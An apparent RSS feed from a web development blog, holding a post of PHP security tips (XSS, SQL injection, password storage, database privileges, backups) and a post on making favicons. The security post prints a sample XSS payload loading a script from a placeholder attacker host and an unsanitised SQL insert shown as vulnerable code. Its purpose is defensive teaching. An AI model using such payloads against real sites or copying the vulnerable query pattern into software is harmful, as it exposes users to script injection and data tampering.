<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>alecs &#187; web</title>
	<atom:link href="http://www.ylipsis.com/blog/tag/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ylipsis.com/blog</link>
	<description>web development, SEO, technology</description>
	<lastBuildDate>Sat, 15 May 2010 11:51:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Web development security tips (PHP)</title>
		<link>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/</link>
		<comments>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 17:17:37 +0000</pubDate>
		<dc:creator>alecs</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.ylipsis.com/blog/?p=167</guid>
		<description><![CDATA[I&#8217;ve seen a lot of hacked websites lately (most because of SQL Injection). Almost all the security problems occur because us web developers assume that the users will act naturally and because we&#8217;re lazy to keep testing all the input data or wonder what if?. This is not a how to hack article, but it [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://flickr.com/photos/amagill/235453953/"><img class="alignright" title="lock" src="http://farm1.static.flickr.com/84/235453953_b565f23939_m.jpg" alt="" width="191" height="240" /></a>I&#8217;ve seen a lot of hacked websites lately (most because of SQL Injection). Almost all the security problems occur because us web developers assume that the users will act naturally and because we&#8217;re lazy to keep testing all the input data or wonder <strong>what if?</strong>. This is not a how to hack article, but it should give you, the web developer, some basic ideas to develop a more secure website.</p>
<h2>First line of defense</h2>
<p><strong>Cross-site scripting (XSS)</strong></p>
<p>Do you have an input somewhere on your website? Have you tested what happens when you type in html tags? What about HTML tags with JavaScript actions?</p>
<p>My best solution is a classic <a href="http://www.php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars()</a> on the whole user input when displaying it on a web page. Of course, If you want some extra styles for the text you can always use <a href="http://en.wikipedia.org/wiki/BBCode" target="_blank">BBCode</a>.</p>
<p>Be careful when trying to manually strip HTML tags form strings. You may find out that many browsers tend to correct bad formatted tags and interpret them. Here&#8217;s an example that will be interpreted even though it&#8217;s not XML compliant:</p>
<pre>&lt;script src='http://www.badguy.com/badscript.js' &lt;/script</pre>
<p><strong>SQL Injection</strong></p>
<p>On a database driven website, you will almost certainly save data provided by your users in the database. This means that you will perform a query using unknown strings. Let&#8217;s have a look over a simple example. The user typed in the following string in a comment:</p>
<pre>I don't like this article.</pre>
<p>On the next page, you have the following code:</p>
<pre>mysql_query("INSERT INTO comments(`content`) VALUES('".$_POST['comment']."')");</pre>
<p>The SQL server will be left to execute the next query.</p>
<pre>INSERT INTO comments(`content`) VALUES('I don't like this article.')</pre>
<p>This will obviously result in a SQL error because of the apostrophe from<strong> don&#8217;t</strong>. This isn&#8217;t such a big deal but then again, the user didn&#8217;t mean to do any harm. You may argue that PHP has the <a href="http://www.php.net/manual/en/security.magicquotes.php" target="_blank">magic quote</a> but <a href="http://en.wikipedia.org/wiki/Magic_quotes#Criticism" target="_blank">they&#8217;re not so effective</a>.</p>
<p>A more frequent SQL injection method is through the GET parameters. Yes, you <strong>must make sure</strong> that$_ GET['id'] which will be used in &#8220;SELECT * FROM `articles` WHERE id=&#8217;&#8221;.$_GET['id'].&#8221;&#8216;&#8221; is numeric.</p>
<p><strong>Don&#8217;t assume anything</strong></p>
<p>Just because there is no outside link to some specific administration page doesn&#8217;t mean that you shouldn&#8217;t test the user&#8217;s credentials.</p>
<p>Watch for scripts called with AJAX. Each one is called using a different HTTP request so you need to test the user in each of those.</p>
<h2>Second line of defense</h2>
<p>It seems that some people were stubborn and ended up with a little more access to your website than they should have. What can you do now to minimize their mess?</p>
<p><strong>Encript user passwords</strong></p>
<p>I don&#8217;t know why some  still keep their all the users&#8217; passwords in plain text. This is also a matter of privacy. You wouldn&#8217;t want the webmaster to know everybody&#8217;s password, would you?</p>
<p><strong>Assign read-only privileges to the database user</strong></p>
<p>Most web applications will only use basic <a href="http://en.wikipedia.org/wiki/Create,_read,_update_and_delete" target="_blank">CRUD</a> functions. So why give the possibility to ALTER TABLE, DROP DATABASE, etc?</p>
<p><strong>Setup an automated database backup script</strong></p>
<p>Make sure the database is backed up regularly. In most cases it is more important than the script files which normally have an off site backup on your HDD.</p>
<p>Here&#8217;s a shell command which can easily be inserted into a cron job (should be set to run daily):</p>
<pre>date=`date -I` ; mysqldump -h localhost -u db_user -ppassword database_name | gzip &gt; /home/your_user/mysql_backup/backup_$date.gz</pre>
<p>And make sure that the folder where you store your backup<strong> isn&#8217;t public</strong>!</p>
<p>These are the only the first things that came in mind right now. I don&#8217;t want to turn this article into a book so I will end now.</p>
<p>I you have something to add just post a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ylipsis.com/blog/2009/02/web-development-security-tips-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Favicons: the why and how</title>
		<link>http://www.ylipsis.com/blog/2008/08/favicons-the-why-and-how/</link>
		<comments>http://www.ylipsis.com/blog/2008/08/favicons-the-why-and-how/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 21:44:02 +0000</pubDate>
		<dc:creator>alecs</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[favicon]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.ylipsis.com/blog/?p=5</guid>
		<description><![CDATA[So why should you even bother creating your favicon? It gives you exposure. Visitors can quickly match your website with the image. Just to test this out, can you quickly match each of the following icons to their corresponding website/brand? Favicons are used in bookmarks across many browsers. Your website has the ability to stand [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_8" class="wp-caption aligncenter" style="width: 312px"><img class="size-full wp-image-8" title="favicon" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/favicon.png" alt="Google.com's favicon" width="302" height="137" /><p class="wp-caption-text">The favicon appears both in the address bar and in the tabs on Mozilla browsers</p></div>
<h3>So why should you even bother creating your favicon?</h3>
<ol>
<li>It gives you exposure. Visitors can quickly match your website with the image. Just to test this out, can you quickly match each of the following icons to their corresponding website/brand? <img class="alignnone size-medium wp-image-11" title="favicon1" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/favicon1.ico" alt="" width="16" height="16" /> <img class="alignnone size-medium wp-image-12" title="favicon2" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/favicon11.ico" alt="" width="14" height="14" /></li>
<li>Favicons are used in bookmarks across many browsers. Your website has the ability to stand out and create a visual impact (even through a small 16 x 16 image) in a visitor&#8217;s bookmark collection.</li>
<li>It only takes 5 minutes to set up.</li>
</ol>
<h3>How to make one</h3>
<p><span id="more-5"></span></p>
<p>Let&#8217;s assume you already have a company/website logo. It is a good idea to use it in your favicon as well. However, you only have 16 x 16 pixels at your disposal, so you might want to edit your logo a bit before shrinking it to the lowest size possible. For example, let&#8217;s take Adobe&#8217;s and Carlsberg&#8217;s logos:</p>
<p><img class="size-medium wp-image-14 alignnone" title="Adobe" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/brand1.gif" alt="" width="200" height="200" /><img class="size-full wp-image-15 alignnone" title="Carlsberg" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/brand11.gif" alt="" width="200" height="200" /></p>
<p>Adobe&#8217;s logo is pretty simple in it&#8217;s form; only 3 shapes, red &amp; white, no curves. So the resulting favicon is pretty straight forward: <img class="alignnone size-full wp-image-13" title="favicon3" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/favicon12.ico" alt="" width="16" height="16" />. Although you cannot read the &#8220;Adobe&#8221; underneath the big &#8220;A&#8221;, the goal is met.</p>
<p>On the other hand, a beer&#8217;s logo is often very complex. Creating a 16 x 16 image with &#8220;Carlsberg&#8221; written all over it is probably not a good idea. In this case, it is common practice to simplify the graphic while retaining colors and shapes as much as possible. Here&#8217;s what they did: <img class="alignnone size-full wp-image-16" title="favicon3" src="http://www.ylipsis.com/blog/wp-content/uploads/2008/08/favicon3.ico" alt="" /></p>
<p>Some graphic editors may not support exporting files in .ico format. There are some desktop applications for conversions, but the quickest way to do this is using an online tool such as <a href="http://converticon.com/" target="_blank">ConvertIcon</a> (only converts .png to .ico and back).</p>
<p>Keep in mind to save the file as <strong>favicon.ico</strong> and upload it to your website root directory (it should be accessible through <strong>www.example.com/favicon.ico</strong>). In the past this was used by Internet Explorer as the default place to look for the favicon. Only one thing remains: include the following HTML tag in your pages within the &lt;head&gt; &lt;/head&gt; tags.</p>
<pre id="line1">&lt;<span class="start-tag">link</span><span class="attribute-name"> rel</span>=<span class="attribute-value">"shortcut icon" </span><span class="attribute-name">href</span>=<span class="attribute-value">"favicon.ico" </span><span class="attribute-name">type</span>=<span class="attribute-value">"image/x-icon" </span><span class="error"><span class="attribute-name">/</span></span>&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ylipsis.com/blog/2008/08/favicons-the-why-and-how/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
